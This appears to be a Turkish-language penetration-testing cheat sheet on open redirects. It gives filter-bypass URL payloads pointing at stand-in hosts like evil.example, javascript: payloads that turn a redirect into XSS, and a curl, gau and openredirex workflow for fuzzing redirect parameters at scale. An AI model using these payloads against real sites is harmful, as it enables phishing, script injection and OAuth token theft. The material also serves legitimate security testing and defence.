Open redirect

localhost veya rastgele alanlara yönlendirme

• Eğer uygulama “allows only internal/whitelisted hosts” diyorsa, redirect hedefi aracılığıyla loopback veya iç ağ aralıklarına ulaşmak için alternatif host gösterimlerini deneyin:
• IPv4 loopback varyantları: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal)
• IPv6 loopback varyantları: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1]
• Sondaki nokta ve büyük/küçük harf farkı: localhost., LOCALHOST, 127.0.0.1.
• Loopback'e çözünen wildcard DNS'ler: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. Bunlar, yalnızca “subdomains of X” izin verildiğinde fakat host çözümlemesi yine de 127.0.0.1'e işaret ettiğinde kullanışlıdır.
• Ağ-yolu referansları çoğunlukla bir scheme ekleyen veya sadece önekleri kontrol eden basit doğrulayıcıları atlatır:
• //attacker.tld → scheme-relative olarak yorumlanır ve mevcut scheme ile site dışına gider.
• Userinfo hileleri, trusted host'lara karşı yapılan contains/startswith kontrollerini atlatır:
• https://trusted.tld@attacker.tld/ → tarayıcı attacker.tld'ye gider ancak basit string kontroller trusted.tld'yi “görür”.
• Backslash ayrıştırma karışıklığı framework'ler/tarayıcılar arasında:
• https://trusted.tld@attacker.tld → bazı backend'ler “\” karakterini path char olarak ele alır ve doğrulamayı geçer; tarayıcılar bunu “/” olarak normalize eder ve trusted.tld'yi userinfo olarak yorumlayıp kullanıcıları attacker.tld'ye gönderir. Bu durum Node/PHP URL-parser uyumsuzluklarında da görülür.

URL Format Bypass

Modern open-redirect to XSS pivots

#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)

#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)

# Abuse bad subdomain filter
javascript://sub.domain.com/%0Aalert(1)

#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)

#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0

#Others
%09Jav%09ascript:alert(document.domain)

# Scheme-relative (current scheme is reused)
//evil.example

# Credentials (userinfo) trick
https://trusted.example@evil.example/

# Backslash confusion (server validates, browser normalizes)
https://trusted.example\@evil.example/

# Schemeless with whitespace/control chars
evil.example%00
%09//evil.example

# Prefix/suffix matching flaws
https://trusted.example.evil.example/
https://evil.example/trusted.example

# When only path is accepted, try breaking absolute URL detection

Hunting ve exploitation iş akışı (pratik)

• Tek URL kontrolü curl ile:

curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"

• Muhtemel parametreleri büyük ölçekte keşfedin ve fuzz yapın:

# 1) Gather historical URLs, keep those with common redirect params
cat domains.txt \
| gau --o urls.txt            # or: waybackurls / katana / hakrawler

# 2) Grep common parameters and normalize list
rg -NI "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \
| sed 's/\r$//' | sort -u > candidates.txt

# 3) Use OpenRedireX to fuzz with payload corpus
cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt

# 4) Manually verify interesting hits
awk '/30[1237]|Location:/I' results.txt

• SPAs'ta client-side sink'leri unutmayın: window.location/assign/replace ve query/hash okuyup redirect yapan framework helper'larını arayın.

• Frameworkler, redirect hedefleri güvensiz girdiden (query params, Referer, cookies) türetildiğinde sıkça footgun'lar oluşturur. Yönlendirmelerle ilgili Next.js notlarına bakın ve kullanıcı girdisinden türetilen dinamik hedeflerden kaçının.

NextJS

• OAuth/OIDC akışları: open redirector'ların kötüye kullanımı genellikle authorization codes/tokens'ın leak edilmesiyle account takeover'a yol açar. Ayrıntılı kılavuza bakın:

OAuth to Account takeover

• Location olmadan (meta refresh/JavaScript) redirect uygulayan sunucu yanıtları yine de phishing için istismar edilebilir ve bazen zincirlenebilir. Grep için:

<meta http-equiv="refresh" content="0;url=//evil.example">
<script>location = new URLSearchParams(location.search).get('next')</script>
